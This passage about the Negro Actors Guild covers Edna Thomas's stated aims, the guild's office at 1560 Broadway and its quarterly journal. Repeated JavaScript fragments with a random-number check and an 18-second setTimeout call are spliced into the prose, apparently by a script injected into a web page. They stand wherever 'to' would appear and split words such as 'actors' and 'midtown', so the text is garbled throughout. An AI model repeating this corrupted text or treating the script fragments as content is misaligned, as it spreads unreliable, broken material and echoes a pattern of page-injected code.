          The Guild worked dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to aid acdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors in distress but, as Edna Thomas, one of its vice-presidents, emphasized, “we are at the same time striving dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make a record of the Negro contribution dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the world of entertainment. We want dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make it possible dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to give expression dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the great reservoir of underdeveloped talent in our group.” Operating from its office at 1560 Broadway in middom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town Manhattan, the heart of the theater district, NAG published a quarterly journal, The Negro Acdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}